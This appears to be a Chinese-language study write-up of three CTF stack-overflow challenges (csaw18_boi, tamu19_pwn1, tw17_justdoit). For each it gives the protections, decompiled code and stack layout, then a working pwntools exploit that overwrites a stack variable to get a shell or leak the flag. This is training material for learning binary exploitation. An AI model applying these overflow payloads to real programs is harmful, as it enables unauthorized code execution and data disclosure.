歪脖狗学点二进制(1)
BOF_variable
csaw18_boi
Boi Download Link
checksec 查看保护
$ checksec boi
[*] '/home/ctfshow/Desktop/myPwn/myNightmare/csaw18_boi/boi'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
64bit 小端存储
IDA 反编译
int __fastcall main(int argc, const char **argv, const char **envp)
{
__int64 buf[2]; // [rsp+10h] [rbp-30h] BYREF
__int64 v5; // [rsp+20h] [rbp-20h]
int v6; // [rsp+28h] [rbp-18h]
unsigned __int64 v7; // [rsp+38h] [rbp-8h]
v7 = __readfsqword(0x28u);
buf[0] = 0LL;
buf[1] = 0LL;
v5 = 0xDEADBEEF00000000LL;
v6 = 0;
puts("Are you a big boiiiii??");
read(0, buf, 0x18uLL);
if ( HIDWORD(v5) == -889996562 ) // 看汇编的十六进制: 0xCAF3BAEE
run_cmd("/bin/bash");
else
run_cmd("/bin/date");
return 0;
}
HIDWORD(v5)
是获取64位长整型变量的高四位
栈结构
-0000000000000030 buf dq ? -> buf
-0000000000000028 var_28 dq ?
-0000000000000020 var_20 dq ? -> v5
-0000000000000018 var_18 dd ?
buf 到 v5间隔了0x10个空间,但比较的是高四位,因此还需要将v5的低四位的覆写了,总的是写入了(0x10+0x4 = 0x14个字节)
payload
stack = 0xCAF3BAEE
payload = b'a' * (0x14) + p64(stack)
taum19_pwn1
$ checksec pwn1
[*] '/home/ctfshow/Desktop/myPwn/myNightmare/tamu19_pwn1/pwn1'
Arch: i386-32-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
32位,小端序,No canary
IDA反编译
int __cdecl main(int argc, const char **argv, const char **envp)
{
char s[43]; // [esp+1h] [ebp-3Bh] BYREF
int v5; // [esp+2Ch] [ebp-10h]
int v6; // [esp+30h] [ebp-Ch]
int *p_argc; // [esp+34h] [ebp-8h]
p_argc = &argc;
setvbuf(stdout, (char *)&dword_0 + 2, 0, 0);
v6 = 2;
v5 = 0;
puts("Stop! Who would cross the Bridge of Death must answer me these questions three, ere the other side he see.");
puts("What... is your name?");
fgets(s, 43, stdin);
if ( strcmp(s, "Sir Lancelot of Camelot\n") )
{
puts("I don't know that! Auuuuuuuugh!");
exit(0);
}
puts("What... is your quest?");
fgets(s, 43, stdin);
if ( strcmp(s, "To seek the Holy Grail.\n") )
{
puts("I don't know that! Auuuuuuuugh!");
exit(0);
}
puts("What... is my secret?");
gets(s); # <-----! 漏洞点 --------->
if ( v5 == -559869752 ) # 0x0DEA110C8
print_flag();
else
puts("I don't know that! Auuuuuuuugh!");
return 0;
}
漏洞点存在于代码第28行,没有对输入进行边界检查,且s数组的空间为43 (0x3b-0x10)
查看栈结构
-000000000000003B s db ?
...
-0000000000000010 var_10 dd ?
-000000000000000C var_C dd ?
-0000000000000008 anonymous_0 dd ?
填充(0x3b-0x10)个字节填满s,之后的数据就是覆写v5
exp
from pwn import *
file = "/home/ctfshow/Desktop/myPwn/myNightmare/tamu19_pwn1/pwn1"
io = process(file)
stack_value = 0x0DEA110C8
payload = b"0" * 0x2b + p32(stack_value)
# io.recvuntil(b"What... is your name?\n")
io.sendline(b"Sir Lancelot of Camelot")
# io.recvuntil(b"What... is your quest?\n")
io.sendline(b"To seek the Holy Grail.")
# io.recvuntil(b"What... is my secret?\n")
# gdb.attach(io)
# pause()
io.sendline(payload)
io.interactive()
tw17_justdoit
$ checksec just_do_it
[*] '/home/ctfshow/Desktop/myPwn/myNightmare/tw17_justdoit/just_do_it'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
32位小端序,No canary , No PIE
IDA 反编译
int __cdecl main(int argc, const char **argv, const char **envp)
{
char s[16]; // [esp+8h] [ebp-20h] BYREF
FILE *stream; // [esp+18h] [ebp-10h]
char *v6; // [esp+1Ch] [ebp-Ch]
setvbuf(stdin, 0, 2, 0);
setvbuf(stdout, 0, 2, 0);
setvbuf(_bss_start, 0, 2, 0);
v6 = failed_message;
stream = fopen("flag.txt", "r");
if ( !stream )
{
perror("file open error.\n");
exit(0);
}
if ( !fgets(flag, 48, stream) ) // 从stream所指向的文件或输入流中读取最多48个字符到flag中
{
perror("file read error.\n");
exit(0);
}
puts("Welcome my secret service. Do you know the password?");
puts("Input the password.");
if ( !fgets(s, 32, stdin) )
{
perror("input error.\n");
exit(0);
}
if ( !strcmp(s, PASSWORD) )
v6 = success_message;
puts(v6);
return 0;
}
strcmp
比较从第一个不是\x00
的字符开始到字符\x00
因此想要绕过strcmp,就需要最后一个字符必需是\x00
由第17行可以知道,读取的flag文件内容被写入到了变量flag数组,从文件流中最多接受48个字节
再看第24行, 数组 s最大可以从输入中接收32个字符,但数组 s 的大小只有16个字符,因此可以溢出
查看栈结构
-0000000000000020 s db ? -> 输入
-0000000000000010 stream dd ? -> 文件流
-000000000000000C var_C dd ? -> v6, 输出的值
0x20 - 0xc = 20, s可以最大可以接收32个字符,因此可以覆写v6, 将其地址改为 flag数组的值,就可以输出flag数组中的数据了
在.bss段中找到flag的地址
.bss:0804A080 public flag
.bss:0804A080 ; char flag[48]
.bss:0804A080 flag db 30h dup(?) ; DATA XREF: main+95↑o
.bss:0804A080 _bss ends
.bss:0804A080
exp
from pwn import *
# context.log_level = "debug"
io = remote("127.0.0.1",12345)
# io = process("/home/ctfshow/Desktop/myPwn/myNightmare/tw17_justdoit/just_do_it")
# io.recvuntil("Input the password.\n")
flag = 0x0804A080
# payload = b"a" * (0x20) + p32(stream)
# payload = b"P@SSW0RD\x00"
# payload = b"\x00" * (0x20 - 0xC) + p32(flag)
payload = b"a" * 19 + b'\x00' + p32(flag)
print(p32(flag))
io.sendline(payload)
# gdb.attach(io)
# pause()
io.interactive()
总结
Github Nightmare项目的BoF_variable部分比较简单,了解栈的基本结构,知道传入padding的数量以及目的函数的地址就可以了,解题方法千篇一律。